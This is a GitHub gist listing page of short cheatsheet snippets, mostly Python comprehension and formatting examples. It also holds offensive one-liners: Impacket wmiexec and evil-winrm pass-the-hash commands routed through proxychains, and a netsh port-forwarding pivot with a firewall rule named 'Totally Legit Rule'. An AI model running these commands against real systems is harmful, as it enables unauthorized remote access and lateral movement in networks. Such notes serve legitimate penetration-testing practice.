Skip to content

Instantly share code, notes, and snippets.

@leveled
leveled / dictionary_comprehensions.py
Last active February 22, 2021 00:39
Dictionary comprehensions in Python cheatsheet
#Double each value in a dictionary
double_dict1 = {k:v*2 for (k,v) in dict1.items()}
#If/else in dictionary comprehension
dict1_tripleCond = {k:('even' if v%2==0 else 'odd') for (k,v) in dict1.items()}
#Nested dict
nested_dict = {'first':{'a':1}, 'second':{'b':2}}
float_dict = {outer_k: {float(inner_v) for (inner_k, inner_v) in outer_v.items()} for (outer_k, outer_v) in nested_dict.items()}
@leveled
leveled / list_comprehensions.py
Created February 22, 2021 00:26
List comprehensions in Python cheatsheet
#Basic format
[thing for thing in list of things]
#Basic list comprehension with if statement
fish_tuple = ('blowfish', 'clownfish', 'catfish', 'octopus')
fish_list = [fish for fish in fish_tuple if fish != 'octopus']
#Nested if statements
number_list = [x for x in range(100) if x % 3 == 0 if x % 5 == 0]
@leveled
leveled / validate_annotations.py
Created February 22, 2021 00:20
Validate function annotations in Python
def validate(func, locals):
for var, test in func.__annotations__.items():
value = locals[var]
try:
pr=test.__name__+': '+test.__docstring__
except AttributeError:
pr=test.__name__
msg = '{}=={}; Test: {}'.format(var, value, pr)
assert test(value), msg
@leveled
leveled / format.py
Created February 22, 2021 00:18
Format strings cheatsheet for python
#Format with positional arguments
print("{0} love {1}!!".format("GeeksforGeeks", "Geeks"))
@leveled
leveled / compress_pdf.sh
Created February 11, 2021 12:46
Compress a PDF on the command line
gs -sDEVICE=pdfwrite -dCompatibilityLevel=1.4 -dPDFSETTINGS=/screen -dNOPAUSE -dQUIET -dBATCH -sOutputFile=passport_compressed.pdf Passport.pdf
@leveled
leveled / impacket_cheatsheet.sh
Created February 10, 2021 00:57
Impacket cheatsheet
proxychains python3 /usr/share/doc/python3-impacket/examples/wmiexec.py -hashes e353da88f9c4331504f70d471f0f9cb1:REDACTED [email protected]
@leveled
leveled / evil-winrm.sh
Created February 10, 2021 00:56
evil-winrm
proxychains evil-winrm -u n.glover -H <redacted> -i 10.10.120.1
@leveled
leveled / netsh_socks_proxy.bat
Created February 10, 2021 00:52
Setting up SOCKS proxy on Windows CLI
netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=80 connectaddress=x.x.x.x
#Add Windows Firewall rule if necessary
netsh advfirewall firewall add rule name="Totally Legit Rule" dir=in action=allow protocol=TCP localport=8080
@leveled
leveled / get_service_binary_location.bat
Created February 4, 2021 17:59
Get Location of Service Binary on windows
reg query "HKLM\System\CurrentControlSet\Services\<serviceName>" /v "ImagePath"
@leveled
leveled / lines_in_one_file_but_not_other.sh
Created February 3, 2021 19:42
Show lines in one file that are not in the other
comm <(sort arp_cache.txt) <(sort test) -3